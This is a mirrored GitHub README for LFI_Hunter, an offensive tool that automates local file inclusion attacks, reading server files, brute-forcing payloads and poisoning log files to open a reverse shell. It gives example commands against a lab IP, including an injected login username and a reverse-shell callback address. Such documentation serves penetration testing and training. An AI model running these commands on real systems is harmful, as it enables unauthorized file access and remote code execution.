Giter Club home page Giter Club logo

lfi_hunter's Introduction

LFI_Hunter

what is LFT_Hunter ?

  • LFT_Hunter tool help To atoumation file inclusion attack
  • read file and get the file in your local machine
  • filter php base64 and auto decoded the data
  • auto Injaction log file and get reverseshell "if can read log file"
  • work with authentication login
  • support not authentication as well

LFI_Hunter modes

  • Aggressive mode
  • Burte Fource mode
  • read file mode

what is file inclusion vulnerability ?

  • A file inclusion vulnerability is a type of web vulnerability that is most commonly found to affect web applications that rely on a scripting run time. This issue is caused when an application builds a path to executable code using an attacker-controlled variable in a way that allows the attacker to control which file is executed at run time. A file include vulnerability is distinct from a generic directory traversal attack, in that directory traversal is a way of gaining unauthorized file system access, and a file inclusion vulnerability subverts how an application loads code for execution. Successful exploitation of a file inclusion vulnerability will result in remote code execution on the web server that runs the affected web application. An attacker can use remote code execution to create a web shell on the web server, which can be used for website defacement.

Types of Inclusion

A directory traversal (or path traversal)

  • attack exploits insufficient security validation or sanitization of user-supplied file names, such that characters representing "traverse to parent directory" are passed through to the operating system's file system API. An affected application can be exploited to gain unauthorized access to the file system.

Remote file inclusion

  • Remote file inclusion (RFI) occurs when the web application downloads and executes a remote file. These remote files are usually obtained in the form of an HTTP or FTP URI as a user-supplied parameter to the web application.

Local file inclusion

  • Local file inclusion (LFI) is similar to a remote file inclusion vulnerability except instead of including remote files, only local files i.e. files on the current server can be included for execution. This issue can still lead to remote code execution by including a file that contains attacker-controlled data such as the web server's access logs.

More info :-


Update:


How to use :

 /     /     |       |   |  ,   . , __   _/_     ___  .___ 
 |     |__.  | .---' |___|  |   | |'  `.  |    .'   ` /   \
 |     |     |       |   |  |   | |    |  |    |----' |   '
 /---/ /     /       /   /  `._/| /    |  \__/ `.___, /    
              @jacstory                                             

usage: LFI_Hunter.py [-h] [-UV VULNURL] [--auth] [-F FILELIST] -C COOKIE [-B]
                     [-R READ] [-UF USERFORM] [-PF PASSFORM] [-P PASSWORD]
                     [-LU LOGINURL] [-U USER] [-A] [-K] [-D DOMAIN] [-S SHELL]

Usage: [OPtion] [arguments] [ -w ] [arguments]

options:
  -h, --help            show this help message and exit
  -UV VULNURL, --Vulnurl VULNURL
                        url Targst web
  --auth                auth mautrd web
  -F FILELIST, --filelist FILELIST
                        read fron lfi wordlsit
  -C COOKIE, --Cookie COOKIE
                        Login sesion Cookie
  -B, --base64          decode filter php base64
  -R READ, --read READ  use to read file on the traget machine
  -UF USERFORM, --UserForm USERFORM
                        add name of the HTML Form Login User
  -PF PASSFORM, --PassForm PASSFORM
                        add name of the HTML Form Login Passord
  -P PASSWORD, --password PASSWORD
                        use specific Passowrd
  -LU LOGINURL, --loginurl LOGINURL
                        add login url for auth motted
  -U USER, --user USER  use specific username
  -A, --aggress         use aggressiv mode
  -K, --upload          use to upload file to server
  -D DOMAIN, --Domain DOMAIN
                        use target url domain not as ip
                        'http://www.anyDomain.com'
  -S SHELL, --shell SHELL
                        to connent reverseshell
                                                       

Command read mode :-

./LFI_Hunter.py  -C cookie -UV http://192.168.56.115/sea.php?file=  --auth -LU http://192.168.56.115/atlantis.php --user "admin' #" --password password  --read /var/log/auth -S 192.168.56.1 -UF username -PF password
  • < -C / --cookies > cookie file' add the cookie in to file and give the LFI_Hunter the path of the cookie file\
  • < -VU / --Vulnurl > the url of the file url "http://web.com/file="
  • < --auth > login the web from terminal
  • < -LU / --loginurl> add login url
  • < -U / --user > add user name
  • < -P / --password > add the password
  • < -R / --read > add the name of the to read from the website true the directory traversal
  • < -S / --shell > connect auto reverse shell " if can read log files same like "/var/log/auth.log or /proc/self/environ"
  • < -UF / --USERFORM > if the field of username have different name so to can post in username give the field name after -UF
  • < -PF/ --PASSFORM > if the field of password have different name so to can post in password give the fieldname after -PF

Command Agreesiv mode :-

./LFI_Hunter.py  -C cookie -UV http://192.168.56.115/sea.php?file=  --auth -LU http://192.168.56.115/atlantis.php --user "admin' #" --password password  -A
  • < -A / --aggress> to user aggressive mode "for this mode LFI_Hunter use some of payload and comparison between length response come from web site the big length mine have date we want read it '

Command brute force mode :-

./LFI_Hunter.py  -C cookie -UV http://192.168.56.115/sea.php?file=  --auth -LU http://192.168.56.115/atlantis.php --user "admin' #" --password password
  • brute force mode try payload untill can read file if can read it LFI_Hunter will break and give you information about the file

Notes :

  • all mode can run with authentication or not authentication as per your situation
  • Cookies it required
  • < -F / --filelist > LFI_Hunter have default wordlist to use for Brute force if you try your own list give -F and the path of your list
  • < -B /--baes64 > To use php filtter decode64 'LFI_Hunter will decode the data to asscii auto

ScreenShot

Connect

lfi_hunter's People

Contributors

jac11 avatar

Stargazers

 avatar AVA avatar

Watchers

 avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.